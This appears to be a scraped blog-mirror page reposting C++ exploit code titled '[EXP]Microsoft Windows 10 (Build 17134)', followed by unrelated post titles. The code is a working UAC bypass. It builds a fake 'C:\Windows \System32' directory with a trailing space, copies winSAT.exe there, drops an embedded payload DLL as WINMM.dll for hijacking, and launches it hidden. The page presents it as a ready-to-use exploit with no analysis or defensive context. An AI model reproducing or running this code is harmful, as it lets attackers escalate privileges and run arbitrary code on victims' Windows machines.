zoukankan      html  css  js  c++  java
  • [EXP]Microsoft Windows 10 (Build 17134)

    #include "stdafx.h"
    #include <Windows.h>
    #include "resource.h"
    
    void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
        HMODULE hMod = GetModuleHandle(NULL);
        HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
        DWORD dllSize = SizeofResource(hMod, res);
        void* dllBuff = LoadResource(hMod, res);
        HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
        DWORD sizeOut;
        WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
        CloseHandle(hDll);
    }
    
    int main()
    {
        _SHELLEXECUTEINFOW se = {};
        //Create Mock SystemRoot Directory
        CreateDirectoryW(L"\\?\C:\Windows \", 0);
        CreateDirectoryW(L"\\?\C:\Windows \System32", 0);
        CopyFileW(L"C:\Windows\System32\winSAT.exe", L"\\?\C:\Windows \System32\winSAT.exe", false);
    
        //Drop our dll for hijack
        DropResource(L"DATA", L"\\?\C:\Windows \System32\WINMM.dll");
    
        //Execute our winSAT.exe copy from fake trusted directory
        se.cbSize = sizeof(_SHELLEXECUTEINFOW);
        se.lpFile =  L"C:\Windows \System32\winSAT.exe";
        se.lpParameters = L"formal";
        se.nShow = SW_HIDE;
        se.hwnd = NULL;
        se.lpDirectory = NULL;
        ShellExecuteEx(&se);
    
            return 0;
    }
                
  • 相关阅读:
    jQuery中的DOM操作
    jQuery选择器
    面试问题总结
    oracle日期操作
    Oracle报错:ORA-02064: distributed operation not supported
    JDK源码-String
    JDK源码-HashSet
    JDK源码-TreeMap
    JDK源码-Vector
    AJAX验证用户是否存在
  • 原文地址:https://www.cnblogs.com/k8gege/p/10533734.html
Copyright © 2011-2022 走看看